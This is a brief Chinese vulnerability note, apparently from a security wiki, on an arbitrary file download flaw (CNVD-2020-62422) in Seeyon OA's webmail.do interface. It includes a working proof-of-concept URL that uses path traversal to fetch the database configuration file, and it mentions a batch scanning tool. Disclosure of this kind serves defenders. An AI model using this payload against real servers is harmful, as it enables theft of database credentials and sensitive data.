任意文件下载（CNVD 2020 62422）

漏洞概述¶

致远OA的webmail.do接口存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息

A6-V5
A8-V5
G6-V5
影响范围极广泛

验证POC-下载数据库配置文件

http://xxx.com/seeyon/webmail.do?method=doDownloadAtt&filename=data.txt&filePath=../conf/datasourceCtp.properties

批量POC

大宝剑（已同步）